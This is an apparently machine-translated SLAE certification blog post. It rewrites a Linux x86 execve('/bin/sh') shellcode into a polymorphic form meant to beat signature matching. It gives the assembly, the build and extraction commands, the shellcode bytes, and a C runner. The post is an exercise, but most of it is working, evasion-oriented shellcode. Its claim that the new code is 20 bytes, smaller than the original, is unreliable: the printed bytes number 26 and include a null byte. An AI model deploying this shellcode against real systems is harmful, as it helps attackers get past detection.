Этот пост является третьей и последней частью полиморфной версии шелл-кодов (Linux x86) в соответствии с требованиями сертификационного экзамена SLAE № 6.

Возьмите 3 шелл-кода из Shell Storm и создайте их полиморфную версию, чтобы превзойти сопоставление с образцом. Полиморфная версия не может превышать 150 % существующего шелл-кода

Мы используем приведенный ниже код с сайта shellstorm.org.



Дизассемблированный код выглядит так

push   0xb
pop    eax
cdq
push   edx
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
xor    ecx,ecx
int    0x80

и это работает нормально

Немного подкорректируем код

##################################
global _start
_start:
xor ecx,ecx
push ecx
push   0x68732f2f
push   0x6e69622f
mov ebx,esp
mul ecx      ; this will make eax 0
mov ax,0x2c  ; to mov 0x0b in eal, moved 2c 
ror eax,2   ; and then ROR  by 2 positions
int 0x80
#################################

Давайте скомпилируем

nasm -f elf32 -o modified.o modified.nasm
ld modified.o -o modified
objdump -d ./modified|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xf7\xe1\x66\xb8\x2c\x00\xc1\xc8\x02\xcd\x80"

А теперь скопируйте его в эксплойт скелета

###################################################
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\xf7\xe1\x66\xb8\x2c\x00\xc1"
"\xc8\x02\xcd\x80";
/* Original Shell Code
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";
*/
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
##########################################################

И время протестировать шелл-код

Оригинальный шелл-код имеет размер 21 байт, тогда как наш модифицированный шелл-код имеет размер 20 байт, что на байт меньше исходного ….. Бонусные баллы !!!!!!!!

Полный код сборки доступен в связанном репозитории git.

Git-репозиторий: https://github.com/iamr0b0t/SLAE

Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/< br /> Идентификационный номер студента: SLAE-1268